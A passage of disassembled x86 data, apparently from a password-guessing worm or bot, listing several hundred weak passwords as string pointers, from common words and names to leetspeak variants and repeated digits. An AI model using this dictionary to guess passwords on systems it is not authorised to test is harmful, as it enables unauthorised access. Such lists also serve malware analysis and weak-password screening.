		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_42F398
		dd offset dword_42F394
		dd offset dword_42F390
		dd offset dword_42F38C
		dd offset dword_42F384
		dd offset dword_42F37C
		dd offset dword_42F374
		dd offset dword_42F368
		dd offset loc_4263DB+1
		dd offset dword_42F364
		dd offset off_42F360
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42F354	; "+"
		dd offset asc_42F350	; "++"
		dd offset asc_42F34C	; "+++"
		dd offset asc_42F344	; "++++"
		dd offset asc_42F340	; "-"
		dd offset asc_42F33C	; "--"
		dd offset asc_42F33C	; "--"
		dd offset asc_42F334	; "----"
		dd offset asc_42F330	; "-+"
		dd offset asc_42F328	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42F310	; "$"
		dd offset asc_42F30C	; "$$"
		dd offset asc_42F308	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_426C78	; "*"
		dd offset asc_42F2B8	; "**"
		dd offset asc_42F2B4	; "***"
		dd offset asc_42F2AC	; "****"
		dd offset asc_42F2A4	; "*****"
		dd offset asc_42F29C	; "******"
		dd offset asc_42F294	; "*******"
		dd offset asc_42F288	; "********"
		dd offset asc_42F27C	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
